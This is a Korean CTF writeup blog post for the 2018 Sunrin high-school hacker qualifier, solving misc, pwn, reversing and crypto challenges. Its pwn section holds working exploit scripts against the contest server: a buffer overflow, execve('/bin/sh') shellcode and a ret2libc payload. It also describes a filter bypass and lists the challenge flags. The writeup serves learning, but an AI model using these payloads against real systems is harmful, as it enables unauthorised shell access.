layout: post
title: 2018 고등해커 예선 Writeup
date: 2018-11-1
mathjax: true
tag: [고등해커Writeup]
categories: 0x02_Writeups

2018 선린 고등해커 문제풀이 보고서

팀명 : 웹해킹은USA해킹


※ 문제 풀이 보고서의 내용 중 플래그(flag)를 인증한 문제가 없을 경우에는 순위 변동 및 실격처리 될 수 있습니다.

등수 : 8등

점수 : 1270

MISC

  • Mic Check - 10pt

디스코드로 주어진 플래그를 입력하였다.

FLAG : Sunrin{I_am_godeung_h4ck3r!~}

  • What's mean? - 50pt

_는 0으로 -는 1로 바꿔주고 8자리씩 나눠져있는 이진수값을 ASCII로 바꿔주었다.

FLAG : Sunrin{D0_y0u_kn0w_b1n4ry?}

  • Beep and daum yo - 80pt

밑 부분에 바코드가 살짝 남아있길래 그림판으로 똑같이 그리고 휴대폰 바코드 인증해 풀었다.

FLAG : Sunrin{BeepBeep}

  • Gazua!! - 80pt

오프셋 EAD1F에서 PNG 시그니처가 숨겨져있었다. 오프셋 ED40B에 49 45 4E 44 AE 42 60 82 PNG 푸터가 있었다.

그 범위만 짤라서 새로운 PNG로 저장하고 봤더니 흰 바탕화면에 Where is Flag? 라는 문구가 적혀있었다. 그림판으로 바탕을 검은색으로 덮었더니 FLAG가 나왔다.

FLAG : Sunrin{easy_stegano..}

  • Replace - 120pt

첫 스테이지에서 get방식으로 name을 admin으로 값을 넘겨야 stage2로 간다.

두번 째 스테이지에서 get방식으로 값이 admin이 되야지 다음 스테이지로 넘어간다는 것을 알았다. 중간에 코드를 보니 str_replace함수로 인해 admin을 그대로 입력하면 값이 사라진다는 걸 알았다. 따라서 admin사이에 admin이라는 말을 아무대나 집어넣으면 풀린다는 걸 알았다. admadminin을 넣었더니 stage3로 넘어갔다.

세번 째 스테이지 get방식으로 name을 admin으로 값을 넘겨야 플래그를 얻을 수 있다는걸 알았다. 그래서 str_replace 함수를 보니 name값이 계속 str_replace 함수로 인해 계속 바뀐다는 것을 알았다. 그래서 str_replace 맨 밑에서부터 차례대로 값을 변경해줘서 admdmiadmdmiinin을 넣었더니 FLAG를 얻었다.

FLAG : flag is Sunrin{th1s_ch4ll_1s_very*30_e4sy_chall}

  • easy_misc - 130pt

첫번 째 스테이지에서 base64로 디코딩하였더니 wooooooooooooooooow_THis_is_stage1_key!!!이 나왔다.

두번 째 스테이지에서 input1 디코딩한 값과 input2 디코딩한 값이 같은데 길이는 달라야한다. 그래서 2번째 스테이지에서 input1을 = input2를 ==를 넣었다.

세번 째 스테이지에서 input1 디코딩한 값과 input2 디코딩한 값이 같고 길이는 같은데 원문이 달라야한다. 그래서 input1에 == input2에 !=을 넣었다. You are....misc hacker..가 뜨면서 플래그가 나왔다.

FLAG : Sunrin{B4SE64_M4st3r}

  • Easy Math Game - 150pt

nc로 접속해서 나온 머리로 암산해서 일일이 방정식들을 풀었다 ....

FLAG : Sunrin{Th1s_1s_B4sic_m4th_g4m3}

PWN

  • WhatIsBOF - 50pt

V4를 scanf로 받고 v5가 AAAA인지를 1094795585인지를 체크하고 맞다면 system(“/bin/sh”)를 사용한다.

그러나 scanf에서 bof취약점이 발생한다.

V4는 esp+2h에 위치하고 v5는 esp+20h에 위치함으로 우리는 v5의 값을 우리가 원하는 값으로 바꿀 수 있다.

from pwn import * 

r=remote("110.10.189.33",19886)
payload="A"*100
r.sendline(payload)
r.interactive()

FLAG : Sunrin{AAAAAAAAAAAAABOF}

  • What Is ShellCode - 75pt

위의 코드는 버퍼에 0x32만큼 입력을 받고 buf의 첫번째 주소로 간다. 따라서 우리는 버퍼안에 쉘코드 즉, system(“/bin/sh”)를 실행시킬수있는 쉘코드를 버퍼안에 넣어주면 된다. 어떠한 보호기법이 설정되어 있는지를 보자.

어떠한 보호기법도 설정이 되어 있지 않다. 따라서 우리는 신경안쓰고 버퍼안에다가 쉘코드를 넣으면 된다.

from pwn import *

r=remote("110.10.189.33",19786)
payload="\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
r.sendline(payload)
r.interactive()

FLAG : Sunrin{v3ry_v3ry_strawberry}

  • PWN_TRAINING - 100pt

이 문제는 파일이 없었다.

문제를 보니 RTL을 이용하여 푸는 문제인 것 같다.

buffer부터 ebp까지가 264만큼이고 ebp+4가 return이다. 따라서

“A”*264+”BBBB”+”system주소”+”AAAA”+”/bin/sh주소”를 하면 쉘이 실행이 된다.

from pwn import *

r=remote("110.10.189.33",12001)

system_add=0x8048440
sh_add=0x804a030
payload="A"*264+"BBBB"
payload+=p32(system_add)
payload+="AAAA"
payload+=p32(sh_add)
r.recvuntil("buffer :")
r.sendline(payload)
r.interactive()

FLAG : Sunrin{W0w..Y0u_w1ll_b3_g0od_pwn3r!!}

  • THUG_LIFEEEEE - 125pt

이 문제는 money가 199999보다 크면 쉘을 얻게 된다. 일단 돈을 많이 벌 방법을 생각해야한다.

bank함수를 불러오고 1을 입력하면 bank안의 돈을 0 <= money <= 300000까지 넣을 수 있다.

근데 v1이 자신의 돈인데 자신이 0을 같고 있더라고 bank money를 300000을 넣을수 있다. 그리고 돈을 넣으면 돈이 음수가 된다. 이제 빛을 지울 방법을 생각해야 한다. 계속을 일을 해서 체력이 사라지면 돈을 0으로 초기화 해준다.

]

이제 빛을 지울 방법을 생각해야 한다. 계속을 일을 해서 체력이 사라지면 돈을 0으로 초기화 해준다.

그리고 31337을 입력하면 goal이라는 함수를 불러온다.

REV

  • hida - 50pt

hidahidahidahidahidahida는 raw_input()

hidahidahidahidahida는 range()

hidahidahidahidahidahidahida는 len()

hidahidahidahidahidahidahidahida는 ord() 로 바꿔주고 변수나 함수들도 이름을 쉽게 쉽게 바꿔주었다.

전역변수가 연산된게 리스트안의 값들과 xor연산이 되는 것을 볼 수 있다.

gg = 4

for i in range(15):
   gg = (gg*427951+35862)%256
   print(gg),

table = [129, 209, 92, 54, 251, 138, 137, 253, 98, 81, 237, 172, 123, 0, 19]
ggsdd = [210, 164, 50, 68, 146, 228, 242, 132, 82, 36, 178, 196, 18, 100, 114]
flag = ""
for i in range(len(table)):
   flag += chr(ggsdd[i]^table[i])
print("")
print(flag)

FLAG : Sunrin{y0u_hida}

  • Ego - 100pt

문제로 주어진 Ego.pyc 파일을 디컴파일해서 Ego.py로 생성하였다.

# uncompyle6 version 3.2.3
# Python bytecode 3.5 (3351)
# Decompiled from: Python 2.7.15 (default, Jul 23 2018, 21:27:06)
# [GCC 4.2.1 Compatible Apple LLVM 9.1.0 (clang-902.0.39.2)]
# Embedded file name: Ego.py
# Compiled at: 2018-10-04 16:16:32
# Size of source mod 2**32: 304 bytes
import hashlib
i = input().strip()
k = hashlib.new('md5')
k.update(i.encode())
if i.split('_') == ['Sunrin{this', 'is', 'flag', '', 'lool', '', '}'] and k.digest() == 'Y\xa8\x07-P$\xdc\xcc\x02C\x1a#\xf5\xc4\xd1\x97':
   print('OK')
else:
   print('NOPE')
# okay decompiling Ego.pyc

'Sunrin{this', 'is', 'flag', '', 'lool', '', '}' 여기에서 split해서 _를 넣었다.

FLAG : Sunrin{this_is_flag__lool__}

CRYPTO

  • Outdated - 50pt

rot13 파이썬 코드를 짜서 돌렸다.

def translate(string, key, mode):
   translated_string = ""

   if mode == 'decrypt':
       key = -key

   for char in string:
       if char.isalpha():
           num = ord(char)
           num += key

           if char.isupper():
               if num > ord('Z'):
                   num -= 26
               elif num < ord('A'):
                   num += 26
           elif char.islower():
               if num > ord('z'):
                   num -= 26
               elif num < ord('a'):
                   num += 26
           translated_string += chr(num)
       else:
           translated_string += char
   return translated_string

encrypted = 'Fhaeva{GuvfGuvatVfGbbByq}'
for i in range(1, 26):
   decrypted = translate(encrypted, i, 'decrypt')
   print ("".join(['ROT', str(i), ': ', decrypted]))

rot13에서 플래그 값이 나왔다.

FLAG : ROT13: Sunrin{ThisThingIsTooOld}

  • CanUevenCode - 100pt

플래그 형식이 Sunrin{ 이니까 먼저 넣어줬더니 앞쪽 값이 일치한 것을 알 수 있었다. 그리고 입력받은 2개씩 넣으면 그거에 따라 값이 나오는데 저 코드들에 맞게 ASCII 테이블을 보면서 1시간정도 걸쳐 노가다로 풀었다..

FLAG : Sunrin{R34ding_S33k1ng_fl4g1ng_th3_v1ct0ry}

'CTF WriteUp' 카테고리의 다른 글

2019 Codegate Quals Writeup  (0) 2019.08.04
2018 고등해커 본선 Writeup  (0) 2019.08.04
2017 Dimi CTF Final - 50pt  (0) 2019.05.11
2018 OtterCTF Writeup  (0) 2018.12.11
2018 picoCTF Writeup  (0) 2018.11.22

+ Recent posts